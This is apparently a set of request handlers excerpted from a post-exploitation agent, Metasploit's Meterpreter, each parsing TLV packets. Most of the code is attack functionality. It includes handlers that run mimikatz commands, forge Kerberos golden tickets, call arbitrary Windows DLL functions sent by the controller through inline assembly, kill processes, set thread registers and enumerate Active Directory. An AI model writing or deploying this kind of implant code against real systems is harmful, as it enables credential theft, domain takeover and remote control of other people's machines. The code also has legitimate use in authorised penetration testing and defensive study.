/* * Kills one or more supplied processes * * req: TLV_TYPE_PID [n] */ DWORD request_sys_process_kill(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv pidTlv; DWORD index = 0; while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID, &pidTlv) == ERROR_SUCCESS) && (pidTlv.header.length >= sizeof(DWORD))) { DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer); HANDLE h = NULL; // Try to attach to the process if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid))) { result = GetLastError(); break; } if (!TerminateProcess(h, 0)) result = GetLastError(); CloseHandle(h); } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Process a request to print one or more strings */ DWORD remote_request_core_console_write(Remote *remote, Packet *packet) { DWORD res = ERROR_NOT_FOUND; DWORD index; Tlv tlv; console_write_output("\n"); do { for (index = 0; packet_enum_tlv(packet, index, TLV_TYPE_STRING, &tlv) == ERROR_SUCCESS; index++) console_write_output("%s", (PCHAR)tlv.buffer); res = ERROR_SUCCESS; } while (0); fflush(stdout); console_write_prompt(); return res; }
DWORD request_resolve_hosts(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Tlv hostname = {0}; int index = 0; int iResult; u_short ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); while( packet_enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS ) { struct in_addr addr = {0}; struct in6_addr addr6 = {0}; iResult = resolve_host((LPCSTR)hostname.buffer, ai_family, &addr, &addr6); if (iResult == NO_ERROR) { if (ai_family == AF_INET) { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } } else { dprintf("Unable to resolve_host %s error: %x", hostname.buffer, iResult); packet_add_tlv_raw(response, TLV_TYPE_IP, NULL, 0); } packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } packet_transmit_response(NO_ERROR, remote, response); return ERROR_SUCCESS; }
DWORD request_custom_command(Remote *remote, Packet *packet) { Packet * response = packet_create_response(packet); Tlv argTlv = {0}; DWORD index = 0; vector<wstring> args; LPCSTR func = packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION); dprintf("Function: %s", packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION)); wstring function = s2ws(func); while( packet_enum_tlv( packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv ) == ERROR_SUCCESS ) { dprintf("Arg: %s", (PCHAR)argTlv.buffer); args.push_back(s2ws((PCHAR)argTlv.buffer)); } clear_buffer(); initialize_mimikatz(); myMimiKatz->doCommandeLocale(&function, &args); wchar_t* output = convert_wstring_to_wchar_t(oss.str()); clear_buffer(); packet_add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output)*sizeof(wchar_t))); packet_transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; }
/* * Validate command arguments */ DWORD command_validate_arguments(Command *command, Packet *packet) { PacketDispatcher *dispatcher = NULL; PacketTlvType type = packet_get_type(packet); DWORD res = ERROR_SUCCESS, packetIndex, commandIndex; Tlv current; // Select the dispatcher table if ((type == PACKET_TLV_TYPE_RESPONSE) || (type == PACKET_TLV_TYPE_PLAIN_RESPONSE)) dispatcher = &command->response; else dispatcher = &command->request; // Enumerate the arguments, validating the meta types of each for (commandIndex = 0, packetIndex = 0; ((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t) == ERROR_SUCCESS) && (res == ERROR_SUCCESS)); commandIndex++, packetIndex++) { TlvMetaType tlvMetaType; // Check to see if we've reached the end of the command arguments if ((dispatcher->numArgumentTypes) && (commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK))) { // If the repeat flag is set, reset the index if (commandIndex & ARGUMENT_FLAG_REPEAT) commandIndex = 0; else break; } // Make sure the argument is at least one of the meta types tlvMetaType = packet_get_tlv_meta(packet, ¤t); // Validate argument meta types switch (tlvMetaType) { case TLV_META_TYPE_STRING: if (packet_is_tlv_null_terminated(packet, ¤t) != ERROR_SUCCESS) res = ERROR_INVALID_PARAMETER; break; default: break; } if ((res != ERROR_SUCCESS) && (commandIndex < dispatcher->numArgumentTypes)) break; } return res; }
/*! * @brief Expand a given set of environment variables. * @param remote Pointer to the \c Remote instance making the request. * @param packet Pointer to the \c Request packet. * @remarks This will return a hash of the list of environment variables * and their values, as requested by the caller. * @returns Indication of success or failure. */ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD dwResult = ERROR_SUCCESS; DWORD dwTlvIndex = 0; Tlv envTlv; char* pEnvVarStart; char* pEnvVarEnd; do { while (ERROR_SUCCESS == packet_enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv)) { pEnvVarStart = (char*)envTlv.buffer; dprintf("[ENV] Processing: %s", pEnvVarStart); // skip any '%' or '$' if they were specified. while (*pEnvVarStart != '\0' && (*pEnvVarStart == '$' || *pEnvVarStart == '%')) { ++pEnvVarStart; } dprintf("[ENV] pEnvStart: %s", pEnvVarStart); pEnvVarEnd = pEnvVarStart; // if we're on windows, the caller might have passed in '%' at the end, so remove that // if it's there. while (*pEnvVarEnd != '\0') { if (*pEnvVarEnd == '%') { // terminate it here instead *pEnvVarEnd = '\0'; break; } ++pEnvVarEnd; } dprintf("[ENV] Final env var: %s", pEnvVarStart); // grab the value of the variable and stick it in the response. add_env_pair(response, pEnvVarStart, getenv(pEnvVarStart)); dprintf("[ENV] Env var added"); } } while (0); dprintf("[ENV] Transmitting response."); packet_transmit_response(dwResult, remote, response); dprintf("[ENV] done."); return dwResult; }
/*! * @brief Handler for the create golden kerberos ticket message. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet) { DWORD dwResult; Packet * response = packet_create_response(packet); DWORD dwGroupCount = 0; DWORD* pdwGroups = NULL; Tlv groupIdTlv; char* user = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_USER); char* domain = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_DOMAIN); char* sid = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_SID); char* tgt = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_TGT); DWORD userId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_GOLD_USERID); if (!user || !domain || !sid || !tgt) { dwResult = ERROR_INVALID_PARAMETER; } else { while (packet_enum_tlv(packet, dwGroupCount, TLV_TYPE_KIWI_GOLD_GROUPID, &groupIdTlv) == ERROR_SUCCESS) { pdwGroups = (DWORD*)realloc(pdwGroups, sizeof(DWORD) * (dwGroupCount + 1)); if (!pdwGroups) { BREAK_WITH_ERROR("Unable to allocate memory for groups", ERROR_OUTOFMEMORY); } pdwGroups[dwGroupCount++] = htonl(*(UINT*)groupIdTlv.buffer); } dwResult = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, userId, pdwGroups, dwGroupCount, response); } packet_transmit_response(dwResult, remote, response); return ERROR_SUCCESS; }
// Multi-request railgun API DWORD request_railgun_api_multi(Remote *remote, Packet *packet) { DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements; BYTE * bufferIN=NULL; BYTE * bufferOUT=NULL; BYTE * bufferINOUT=NULL; DWORD * stack = NULL; DWORD returnValue; // returnValue of the function const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV Tlv stackDescriptorTlv; const char * dllName; const char * funcName; HMODULE hDll; void * funcAddr; DWORD ii; DWORD lastError; Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv reqTlv; Tlv tmpTlv; DWORD index = 0; Tlv tlvs[4]; dprintf("request_railgun_api_multi() processing %d elements (%d | %d)", TLV_TYPE_RAILGUN_MULTI_GROUP, packet->header.type, packet->header.length); while ( packet_enum_tlv(packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv) == ERROR_SUCCESS ) { dprintf("request_railgun_api_multi(%d)", index); // Prepare the OUT-Buffer (undefined content) if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_SIZE_OUT"); goto cleanup; } bufferSizeOUT = ntohl(*(LPDWORD)tmpTlv.buffer); dprintf("bufferSizeOUT == %d",bufferSizeOUT); if (bufferSizeOUT != 0){ bufferOUT = (BYTE *)malloc(bufferSizeOUT); memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs } dprintf("bufferOUT @ 0x%08X",bufferOUT); // get the IN-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); bufferIN = getRawDataCopyFromGroup(packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_IN, &bufferSizeIN); dprintf("bufferIN @ 0x%08X",bufferIN); if (bufferIN == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN); // get the INOUT-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); bufferINOUT = getRawDataCopyFromGroup(packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, &bufferSizeINOUT); dprintf("bufferINOUT @ 0x%08X",bufferINOUT); if (bufferINOUT == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT); // Get DLLNAME if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME"); goto cleanup; } dllName = (PCHAR)tmpTlv.buffer; if (dllName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName); // Get funcNAME if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME"); goto cleanup; } funcName = (PCHAR)tmpTlv.buffer; if (funcName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName); // get address of function hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc. if (hDll == NULL){ dprintf("LoadLibraryA() failed"); goto cleanup; } funcAddr = (void*)GetProcAddress(hDll,funcName); if (funcAddr == NULL){ dprintf("GetProcAddress() failed"); goto cleanup; } // get the Stack-description (1 DWORD description, 1 DWORD data) dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB"); if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS ) { dprintf("packet_get_tlv_group_entry failed"); goto cleanup; } dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length); if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){ dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense"); } dprintf("Function at 0x%08X.",funcAddr); stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD)); stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer; stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD)); dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length); dprintf("stackSizeInElements: %d",stackSizeInElements); dprintf("stack @ 0x%08X",stack); // To build the stack we have to process the items. // depending on their types the items are // 0 - literal values // 1 = relative pointers to bufferIN. Must be converted to absolute pointers // 2 = relative pointers to bufferOUT. Must be converted to absolute pointers // 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers for (ii=0; ii<stackSizeInElements; ii++){ DWORD itemType,item; itemType = stackDescriptorBuffer[ii*2]; item = stackDescriptorBuffer[ii*2+1]; switch(itemType){ case 0: // do nothing. item is a literal value dprintf("Param %d is literal:0x%08X.",ii,item); stack[ii] = item; break; case 1: // relative ptr to bufferIN. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferIN); dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 2: // relative ptr to bufferOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferOUT); dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 3: // relative ptr to bufferINOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferINOUT); dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; default: dprintf("Invalid stack item description %d for item %d",itemType,ii); goto cleanup; } } dprintf("calling function.."); SetLastError(0); // written for readability. // The compiler MUST use EBP to reference variables, sinde we are messing with ESP. // In MSVC parlance "Omit Frame pointers" OFF! __asm{ pusha // save ESP mov EBX,ESP //"push" all params on the stack mov ECX,[stackSizeInElements] mov ESI,[stack] sub ESP,ECX sub ESP,ECX sub ESP,ECX sub ESP,ECX mov EDI,ESP cld rep movsd //and call! mov eax,[funcAddr] call eax // restore stack. no matter the calling convention mov esp,ebx // starting here we can use vars again mov [returnValue],EAX popa } lastError = GetLastError(); //must be called immediately after function dprintf("called function => %d",lastError); // time to ship stuff back tlvs[0].header.length = sizeof(DWORD); tlvs[0].header.type = TLV_TYPE_RAILGUN_BACK_ERR; tlvs[0].buffer = (PUCHAR)&lastError; tlvs[1].header.length = sizeof(DWORD); tlvs[1].header.type = TLV_TYPE_RAILGUN_BACK_RET; tlvs[1].buffer = (PUCHAR)&returnValue; tlvs[2].header.length = bufferSizeOUT; tlvs[2].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT; tlvs[2].buffer = (PUCHAR)bufferOUT; tlvs[3].header.length = bufferSizeINOUT; tlvs[3].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT; tlvs[3].buffer = (PUCHAR)bufferINOUT; packet_add_tlv_group(response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, 4); dprintf("added stuff"); cleanup: // todo: transmit error message on failure dprintf("request_railgun_api: cleanup"); if (bufferIN != NULL) {free(bufferIN);} if (bufferOUT != NULL) {free(bufferOUT);} if (bufferINOUT != NULL) {free(bufferINOUT);} if (stack != NULL) {free(stack);} } packet_transmit_response(ERROR_SUCCESS, remote, response); dprintf("transmitted back"); return 0; }
/*! * @brief Get a TLV of a given type from the packet. * @param packet Pointer to the packet to get the TLV from. * @param type Type of TLV to get. * @param tlv Pointer to the TLV that will receive the data. * @return Indication of success or failure. * @retval ERROR_SUCCESS The operation completed successfully. * @retval ERROR_NOT_FOUND Unable to find the TLV. */ DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv) { return packet_enum_tlv(packet, 0, type, tlv); }
/*! * @brief Perform an ASDI query against a domain. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming \c Packet instance. * @returns Indication of success or failure. * @remark Real error codes are returned to the caller via a response packet. */ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; LPSTR lpValue = NULL; LPWSTR lpwDomain = NULL; LPWSTR lpwFilter = NULL; LPWSTR* lpwFields = NULL; DWORD fieldCount = 0; DWORD fieldIndex = 0; Packet * response = packet_create_response(packet); Tlv fieldTlv; DWORD maxResults; DWORD pageSize; do { if (!response) { BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY); } lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN); dprintf("[EXTAPI ADSI] Domain: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwDomain); if (dwResult != ERROR_SUCCESS) { dprintf("[EXTAPI ADSI] Failed to get Domain"); break; } lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER); dprintf("[EXTAPI ADSI] Filter: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwFilter); if (dwResult != ERROR_SUCCESS) { dprintf("[EXTAPI ADSI] Failed to get Filter"); break; } maxResults = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ASDI_MAXRESULTS); dprintf("[EXTAPI ADSI] Max results will be %u", maxResults); pageSize = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ASDI_PAGESIZE); dprintf("[EXTAPI ADSI] Page size specified as %u", pageSize); // Set the page size to something sensible if not given. if (pageSize == 0) { pageSize = DEFAULT_PAGE_SIZE; } // If max results is given, there's no point in having a page size // that's bigger! if (maxResults != 0) { pageSize = min(pageSize, maxResults); } dprintf("[EXTAPI ADSI] Page size will be %u", pageSize); while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS) { lpValue = (char*)fieldTlv.buffer; dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue); lpwFields = (LPWSTR*)realloc(lpwFields, sizeof(LPWSTR) * (fieldCount + 1)); if (lpwFields == NULL) { BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY); } dwResult = to_wide_string(lpValue, &lpwFields[fieldCount]); if (dwResult != ERROR_SUCCESS) { dprintf("[EXTAPI ADSI] Failed to get field as wide string"); break; } ++fieldCount; } dprintf("[EXTAPI ADSI] Field count: %u", fieldCount, lpValue); if (dwResult == ERROR_SUCCESS) { dprintf("[EXTAPI ADSI] Beginning user enumeration"); dwResult = domain_query(lpwDomain, lpwFilter, lpwFields, fieldCount, maxResults, pageSize, response); dprintf("[EXTAPI ADSI] Result of processing: %u (0x%x)", dwResult, dwResult); } } while (0); if (lpwFields) { for (fieldIndex = 0; fieldIndex < fieldCount; ++fieldIndex) { if (lpwFields[fieldIndex]) { free(lpwFields[fieldIndex]); } } free(lpwFields); } if (lpwFilter) { free(lpwFilter); } if (lpwDomain) { free(lpwDomain); } dprintf("[EXTAPI ADSI] Transmitting response back to caller."); if (response) { packet_transmit_response(dwResult, remote, response); } return dwResult; }
/* * Set the register state of the supplied thread * * req: TLV_TYPE_THREAD_HANDLE - The thread to set * req: TLV_TYPE_REGISTER x N - The registers to set */ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; do { if ((thread = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_HANDLE))) { CONTEXT context; DWORD index = 0; Tlv reg; memset(&context, 0, sizeof(context)); // Get the current thread register state context.ContextFlags = CONTEXT_FULL; if (!GetThreadContext(thread, &context)) { result = GetLastError(); break; } // Enumerate through all of the register we're setting while (packet_enum_tlv(packet, index++, TLV_TYPE_REGISTER, ®) == ERROR_SUCCESS) { LPCSTR name; ULONG value; Tlv nameTlv, valueTlv; // Get the group's entries if ((packet_get_tlv_group_entry(packet, ®, TLV_TYPE_REGISTER_NAME, &nameTlv) != ERROR_SUCCESS) || (packet_get_tlv_group_entry(packet, ®, TLV_TYPE_REGISTER_VALUE_32, &valueTlv) != ERROR_SUCCESS)) continue; // Validate them if ((packet_is_tlv_null_terminated(packet, &nameTlv) != ERROR_SUCCESS) || (valueTlv.header.length < sizeof(ULONG))) continue; // Stash them name = (LPCSTR)nameTlv.buffer; value = ntohl(*(PULONG)valueTlv.buffer); // Set this register's value set_thread_register_value(&context, name, value); } // Update the thread's context if (!SetThreadContext(thread, &context)) { result = GetLastError(); break; } } else result = ERROR_INVALID_PARAMETER; } while (0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }